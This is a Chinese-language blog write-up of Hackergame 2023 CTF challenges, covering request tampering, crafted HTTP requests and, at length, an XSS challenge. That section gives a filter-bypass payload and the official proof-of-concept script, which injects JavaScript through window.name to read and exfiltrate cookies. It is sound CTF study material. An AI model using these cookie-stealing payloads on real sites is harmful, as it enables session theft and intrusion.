目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. Hackergame 启动
    2. 2.2. 更深更暗
    3. 2.3. 赛博井字棋
    4. 2.4. 组委会模拟器
    5. 2.5. HTTP 集邮册(复现)
      1. 2.5.1. 收集状态码
      2. 2.5.2. 无状态码
    6. 2.6. 微积分计算小练习 2.0(复现)
      1. 2.6.1. 找xss注入点
      2. 2.6.2. 构造xss payload
      3. 2.6.3. 利用bot实现xss(复现失败)
  3. 3. General
    1. 3.1.

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Hackergame 2023

2023/11/3 CTF线上赛
  |     |   总文章阅读量:

前言

中科大的ctf,和隔壁Geekgame差不多,都是以整活为主,不过这里的题会更基础一点

官方wp:https://github.com/USTC-Hackergame/hackergame2023-writeups

啧,TPCTF2023出现了这个比赛某题的延伸,这下不得不复现完了

Web

Hackergame 启动

直接点击提交,可以发现get请求多了个参数similarity

image-20231103221117607

ctrl+u看看前端js写了啥

//
// Ref wave
//
const wavesurferRef = WaveSurfer.create({
  container: '#ref-wave',
  waveColor: 'rgb(200, 0, 200)',
  progressColor: 'rgb(100, 0, 100)',
  url: '/static/hackergame.mp3',
  backend: 'MediaElement',
})

const regions = wavesurferRef.registerPlugin(WaveSurfer.Regions.create())
wavesurferRef.once('interaction', () => {
  wavesurferRef.play()
})

wavesurferRef.on('decode', () => {
  regions.addRegion({
    start: 0,
    end: 1,
    drag: false,
    content: 'Hackergame',
  });
  regions.addRegion({
    start: 1.4,
    end: 2.0,
    drag: false,
    content: '启动',
  })
})

const btnPlayRef = document.querySelector('#btn-play-ref')
btnPlayRef.onclick = () => wavesurferRef.playPause()

//
// Record
//
const wavesurfer = WaveSurfer.create({
  container: '#mic-wave',
  waveColor: 'rgb(200, 0, 200)',
  progressColor: 'rgb(100, 0, 100)',
})


const record = wavesurfer.registerPlugin(WaveSurfer.Record.create())

wavesurfer.on('decode', () => {
  if (!record.isRecording()) {
    try {
      // sleep 100ms
      const similaritySpan = document.querySelector('#similarity')
      const similarity = getCurrentSimilarity() * 100
      similaritySpan.innerHTML = `相似度:${similarity.toFixed(2)}%`
      const similarityValue = document.querySelector('#similarity-value')
      similarityValue.value = similarity
    } catch (e) {
      console.log(e)
    }
  }
})

// Render recorded audio
record.on('record-end', (blob) => {
  const container = document.querySelector('#record-wave')
  container.innerHTML = ''
  const recordedUrl = URL.createObjectURL(blob)

  // Create wavesurfer from the recorded audio
  const wavesurfer = WaveSurfer.create({
    container,
    waveColor: 'rgb(200, 100, 0)',
    progressColor: 'rgb(100, 50, 0)',
    url: recordedUrl,
  })

  // Play button
  const buttonPlay = document.querySelector('#btn-play')
  buttonPlay.textContent = '播放录制音频'
  buttonPlay.onclick = () => wavesurfer.playPause()
  wavesurfer.on('pause', () => (buttonPlay.textContent = '播放录制音频'))
  wavesurfer.on('play', () => (buttonPlay.textContent = '暂停录制音频'))
})

const micSelect = document.querySelector('#mic-select')
{
  // Mic selection
  WaveSurfer.Record.getAvailableAudioDevices().then((devices) => {
    devices.forEach((device) => {
      const option = document.createElement('option')
      option.value = device.deviceId
      option.text = device.label || device.deviceId
      micSelect.appendChild(option)
    })
  })
}
{
  // Record button
  const recButton = document.querySelector('#record')

  recButton.onclick = () => {
    if (record.isRecording()) {
      record.stopRecording()
      recButton.textContent = '开始录制'
      recButton.classList.remove('btn-danger')
      recButton.classList.add('btn-primary')
      document.querySelector('#record-wave').style.display = 'inline'
      document.querySelector('#mic-wave').style.display = 'none'
      return
    }

    recButton.disabled = true
    // get selected device
    const deviceId = micSelect.value

      record.startRecording({ deviceId }).then(() => {
        recButton.textContent = '停止'
        recButton.classList.remove('btn-primary')
        recButton.classList.add('btn-danger')
        recButton.disabled = false
        document.querySelector('#record-wave').style.display = 'none'
        document.querySelector('#mic-wave').style.display = 'inline'
      }).catch((err) => {
        alert("开始录制失败,请检查浏览器麦克风权限设置并刷新页面。")
      })
  }
}

//
// Wave Similarity
//

const getCanvasByContainer = (container) => {
  if (!container || !container.firstChild) {
    return null;
  }
  const canvas = container.firstChild.shadowRoot.querySelector("canvas");
  return canvas;
}

const getImageData = (canvas) => {
  const ctx = canvas.getContext("2d");
  const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
  return imageData;
}

const computeSimilarity = (imageData1, imageData2) => {
  const data1 = imageData1.data;
  const data2 = imageData2.data;
  const len = data1.length;
  let diff = 0;
  for (let i = 0; i < len; i += 1) {
    diff += Math.abs(data1[i] - data2[i]) / 255;
  }
  return 1 - diff / (len / 4);
}

const getCurrentSimilarity = () => {
  const c1 = getCanvasByContainer(document.querySelector('#ref-wave'));
  const c2 = getCanvasByContainer(document.querySelector('#record-wave'));

  if (c1 === null || c2 === null) {
    return 0;
  }

  const imageData1 = getImageData(c1);
  const imageData2 = getImageData(c2);

  const similarity = computeSimilarity(imageData1, imageData2);
  return similarity;
}

看来相似度100就能得到flag,直接传参值为100,hackergame,启动!

yysy原神启动的效果还真给他做出来了(

image-20231103221444869


更深更暗

js控制台使用

f12打开调试器,在main.js找到获得flag的函数

async function getFlag(token) {
        // Generate the flag based on user's token
        let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${token}`).toString();
        return `flag{T1t@n_${hash.slice(0, 32)}}`;
    }

然后在控制台调用异步函数

getFlag("my_token").then(result => {
    console.log(result);
}).catch(error => {
    console.error(error);
});

这样就能得到flag


赛博井字棋

burpsuite抓包

下棋的过程中发现我们每下一步都会向服务器发送一次请求

image-20231103224716159

猜测可以通过抓包修改位置的方式把ai下的棋覆盖成自己的棋

那么我们先下一步在(1,1),此时ai下在了(0,0),然后再下下一步的时候进行抓包

image-20231103224942474

改为(0,0),发包

image-20231103225037117

此时胜利的法则已然决定(

flag:flag{I_can_eat_your_pieces_b4dca6cf72}


组委会模拟器

python脚本模拟点击

每年比赛,组委会的一项重要工作就是时刻盯着群,并且撤回其中有 flag 的消息。今年因为人手紧张,组委会的某名同学将这项工作外包给了你,你需要连续审查 1000 条消息,准确无误地撤回其中所有含 flag 的消息,并且不撤回任何不含 flag 的消息。

本题中,你需要撤回的 "flag" 的格式为 hack[...],其中方括号内均为小写英文字母,点击消息即可撤回。你需要在 3 秒内撤回消息,否则撤回操作将失败。在全部消息显示完成后等待几秒,如果你撤回的消息完全正确(撤回了全部需要撤回的消息,并且未将不需要撤回的消息撤回),就能获得本题真正的 flag。

既然要点击才能撤回,那就要用到selenium来模拟

让gpt帮我写了个脚本点击

from selenium import webdriver
from selenium.webdriver.common.by import By

# 创建Firefox浏览器的WebDriver实例
driver = webdriver.Firefox()

driver.get("http://202.38.93.111:10021/api/checkToken?token=3854%3AMEUCIQC%2F%2F2P%2FAltLuae%2Bobq6027zxeJwjaD6VvVEo0djWN0f9AIgMr8lZglJH5DCXqADwcmR83KXkDIjzPKLW876k0PamA0%3D")  # 替换为要操作的网页URL

# 循环执行1000次
for _ in range(100000):
    # 导航到网页
    # 查找包含字符串"hack"的元素
    elements = driver.find_elements(By.XPATH, "//*[contains(text(), 'hack[')]")

    # 如果找到了元素,则模拟点击第一个匹配的元素
    if elements:
        element = elements[0]
        element.click()

HTTP 集邮册(复现)

收集状态码

正常访问返回200

删掉Host内的主机地址返回400

访问一个不存在的文件返回404

单独把请求方式改为PUT返回405(方法不允许)

单独修改HTTP协议为HTTP/2返回505

接下来是需要看文档的部分:

  • 100 Continue. 代表服务器希望客户端继续请求或者忽略。需要客户端发送 Expect: 100-continue

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Expect: 100-continue\r\n\r\n
  • 206 Partial Content. 一个 HTTP 请求可以只请求部分内容,服务器也会返回部分内容。

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Range: bytes=1-2\r\n\r\n
  • 416 Range Not Satisfiable. 上面的 Range 是一个合法的范围,那么不合法的范围呢?就是 416。

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Range: bytes=114514-1919810\r\n\r\n
  • 304 Not Modified. 代表文件在指定条件下没有修改过,这里用 If-Modified-Since

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    If-Modified-Since: Tue, 15 Aug 2023 17:03:04 GMT\r\n\r\n
  • 412 Precondition Failed. 这个 payload 使用了 ETag + If-Match,ETag 和对应的 web 资源对应,用来区分对应资源不同的版本。客户端可以利用这个信息来节省带宽。这里 If-Match 则在尝试匹配这个 ETag,如果不匹配,那就返回 412。

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"\r\n\r\n
  • 413 Content Too Large. 不需要真正输入很大的 payload,把 Content-length 弄得很大就行:

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-length: 1145141919810\r\n\r\n
  • 414 URI Too Long. 大概需要很长的 URI 路径(但是又不能太长,否则 web 界面本体不会允许这样的响应)。内容详见 [414.txt](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/HTTP 集邮册/414.txt)。

  • 501 Not Implemented. 代表服务器不支持此功能

    GET / HTTP/1.1\r\n
    Transfer-Encoding: gzip\r\n
    Host: example.com\r\n\r\n

    gzip 换成除了 chunked 以外的任意字符串都行

无状态码

和gpt聊的时候知道有HTTP/0.9的请求可以返回无状态码,但是不能直接修改成HTTP/0.9

它只支持 GET,然后后面直接接 URL

GET /\r\n

微积分计算小练习 2.0(复现)

xss

题目描述:

题目更难,很难手算答对;
支持做完题目之后给小 X 留言,感谢您宝贵的时间——对了,小 X 特地添加了字符黑名单——毕竟正常人怎么可能起 <img src=a onerror="alert(1)"> 这种名字嘛!留言的长度也做了限制,这样就算能 XSS,也只能弹个框,大概没啥实际危害吧。
不再需要手动提交成绩,而且小 X 决定,在这个什么比赛结束之前,他绝对不会再去打开留言页面了——只要不去看,就不会被 XSS(大概)!但是小 X 在网上冲浪的时候,还是会忍不住看其他同学写的网页——不过应该不会出问题吧,至少小 X 本人是这么想的。

hint:

  1. 题目环境不与互联网连接
  2. 目前主流的浏览器都不允许随意弹出窗口(popup),但是小 X 是一个很好说话的人,随便找个理由他就会允许你弹窗了;而这里这个 bot 甚至不需要理由,就会来查看你的弹窗(如果有);
  3. flag 可能会有点长。

下载附件,是bot的代码

# Copyright 2022-2023 USTC-Hackergame
# Copyright 2021 PKU-GeekGame
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from selenium import webdriver
import selenium
import time
import os
import subprocess
import urllib.parse

# secret.py 不提供
from secret import FLAG, BOT_SECRET

os.mkdir("/dev/shm/xss-data")
os.mkdir("/dev/shm/chromium-data")
FLAG = urllib.parse.quote_plus(FLAG)
# 环境变量 "hackergame_token" 是你的 token
id = int(os.environ["hackergame_token"].split(":")[0])

# Stage 1
print("请输入你的 HTML 文件,以仅包含 EOF 三个字母的行结束,该文件需要小于 5KiB。")
print("我会在本地启动一个静态的 HTTP 服务器提供这个文件。")

code = ""
while True:
    line = input()
    if line == "EOF":
        break
    code += line + "\n"
    if len(code) > 1024 * 5:
        print("你的 HTML 太大了,尝试短一些吧!")
        exit(1)

with open("/dev/shm/xss-data/index.html", "w") as f:
    f.write(code)
sp = subprocess.Popen(
    ["python3", "-m", "http.server", "-b", "127.0.0.1", "10240"], cwd="/dev/shm/xss-data",
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
time.sleep(1)
if sp.poll() is not None:
    print("启动 HTTP 服务器失败,请联系管理员。")
    exit(1)

# BOT 用 "BOT_SECRET" 以「管理员权限」登录,然后降权到和你一样
LOGIN_URL = f"http://web/?bot={BOT_SECRET}&id={id}"
# 在题目服务器上,bot 会访问 http://web
# 本地调试时,需要做如下修改:
# LOGIN_URL = "http://题目地址/?token=your_token"


# Stage 2
try:
    options = webdriver.ChromeOptions()
    options.add_argument("--no-sandbox")  # sandbox not working in docker
    options.add_argument("--headless")
    options.add_argument("--disable-gpu")
    options.add_argument("--user-data-dir=/dev/shm/user-data")
    os.environ["TMPDIR"] = "/dev/shm/chromium-data/"
    options.add_experimental_option("excludeSwitches", ["enable-logging"])

    with webdriver.Chrome(options=options) as driver:
        ua = driver.execute_script("return navigator.userAgent")
        print(" I am using", ua)

        print("- Logining...")
        driver.get(LOGIN_URL)
        time.sleep(4)

        print(" Putting secret flag...")
        driver.execute_script(f'document.cookie="flag={FLAG}"')
        time.sleep(1)

        print("- Now browsing your website...")
        driver.get("http://localhost:10240")
        time.sleep(4)

        print("Bye bye!")
except Exception as e:
    print("ERROR", type(e))
    print("I'll not give you exception message this time.")

找xss注入点

进入题目,五道微积分随便交一下,然后提交来到评论界面

告诉我们过滤了& > < ' ( ) . , %

ctrl+u发现JavaScript代码

      function updateElement(selector, html) {
        document.querySelector(selector).innerHTML = html;
      }

      updateElement("#score", "你的得分是 <b>0</b> 分");
updateElement("#comment", "你留下的评论:(还没有评论)");

使用 document.querySelector(selector) 来匹配 selector 的第一个元素。然后,通过将其 innerHTML 属性设置为提供的 html 参数的值,实现了将元素的内容替换为新的 HTML 内容

可以知道我们的评论会插入到这个函数的执行过程中

正常情况是:

updateElement("#comment", "你留下的评论:114514");

但是我们要是加个双引号进去,就是

updateElement("#comment", "你留下的评论:114"514"");

image-20231207111008982

此时就会产生报错,因为这个时候的语句分隔变成了updateElement("#comment", "你留下的评论:114",后面跟着514"");,前者会缺少)导致报错

那如果我们的评论为"+ 1 +",插入后就会是

updateElement("#comment", "你留下的评论:"+ 1 +"");

那么就会回显1,说明我们成功插入了自己的内容

接下来的问题就是怎么利用这个点来执行任意JavaScript呢

可以用object的方式来执行js表达式,这里object的key为1

updateElement("#comment", "你留下的评论:"+{1: 某种_js_payload}+"");

本地测试一下

<script>
    ({ 1: alert(1) });
</script>

image-20231207112134255

可以成功执行alert

但是由于题目有字符限制,我们还得想办法构造payload

构造xss payload

题目的限制有:

  • 没有互联网连接,受害人只能访问一个没有访问日志的静态网站;
  • 弹窗等 exception 的内容不会提供给攻击者;
  • 唯一一个 XSS 注入点:留言,有相对严格的长度限制与黑名单,但是可以用 " 来逃出字符串。

而提示是:Bot 会允许任意弹窗

什么意思呢?我们知道弹窗对应的JavaScript代码是

window.open(url, target, windowFeatures)

其中第二个参数 target 会设置新的窗口的 window.name

本地测试:

<script>window.open("https://www.example.com", "test")</script>

image-20231207113040137

现代浏览器的默认行为是不允许弹窗。这里允许弹窗,那么就会新建一个标签页,可以在 console 里面看一下这个标签页的 name

image-20231207113124991

可以看到就是我们设置的name。而如果是正常打开的网站,那么 name 就是空字符串。

而我们如果在window.name处插入恶意代码(在edge浏览器地址栏测试)

javascript:alert(1)

image-20231207113941624

是可以成功执行的

所以,我们可以让bot在跳转的同时,在 name 里面带上我们的信息,而这个信息要有多长就能有多长,从而绕过长度限制

那么就可以构造我们的payload段

updateElement("#comment", "你留下的评论:"+{1: window.location=window.name}+"");

这样只要 window.namejavascript: 开头,就能执行我们想要的 JavaScript代码

不过.也被过滤了怎么办,实际上window.是可以省略的,比如alert(1) 事实上是 window.alert(1)

所以最后的payload是这样

updateElement("#comment", "你留下的评论:"+{1: location=name}+"");

利用bot实现xss(复现失败)

下面的 bot 模拟了这样一个过程:你可以提交一段 HTML 代码,bot 会在本地启动一个 HTTP 服务器,然后 bot 会访问上面的练习网站,登录后在 cookie 中加入 JavaScript 可以访问到的经过 URL encode 之后的 flag,然后访问你的站点。Bot 不会输出任何网页内容。

我们先把要插入的html文件写到bot里面

官方的poc:

import requests
from pwn import *
import base64
from urllib.parse import unquote_plus
context.log_level = "debug"

token = "3854:MEUCIQC//2P/AltLuae+obq6027zxeJwjaD6VvVEo0djWN0f9AIgMr8lZglJH5DCXqADwcmR83KXkDIjzPKLW876k0PamA0="
hostname = "202.38.93.111"

s = requests.Session()
s.get(f"http://{hostname}:10051/?token=" + token)
html = """<script>
var victim=window.open("http://web/result", 'javascript:fetch("/result", {"headers": {"Content-Type": "application/x-www-form-urlencoded",},"body": `comment=${btoa(document.cookie.substring(%start%, %end%))}`,"method": "POST",});')
</script>
EOF"""

# 先做题
s.post(f"http://{hostname}:10051", data={
    "q1": "1", "q2": "1", "q3": "1", "q4": "1", "q5": "1"
})

def post_payload():
    s.post(f"http://{hostname}:10051/result", data={"comment": '"+{a: location=name}+"'})

post_payload()

def bot(start, end):
    r = remote(hostname, 10053)
    r.recvuntil(b"token:")
    r.sendline(token)
    r.recvuntil("服务器提供这个文件。\n".encode())
    r.send(html.replace("%start%", str(start)).replace("%end%", str(end)).encode())
    r.sendline()

    # r.interactive()
    r.recvuntil("bye!\n")

bot(0, 18)


res = ""
# receive our data
def read_contents():
    r = s.get(f"http://{hostname}:10051/result")
    for i in r.text.split("\n"):
        if "你留下的评论" in i:
            text = i.split(":")[1].replace('");', "")
            print(text)
            x = base64.b64decode(text).decode()
            return x
res += read_contents()
post_payload()
bot(18, 36)
res += read_contents()
post_payload()
bot(36, 53)
res += read_contents()
post_payload()
bot(53, 71)
res += read_contents()
print(res)
print(unquote_plus(res))

但是我脚本跑不出来。。


General

sstv

正好前几天laffey给我出了个类似的东西(

工具准备:MMSSTV和e2esoft虚拟声卡,把声卡输入的默认值改为e2esoft的Line in

播放即可

image-20231104104811180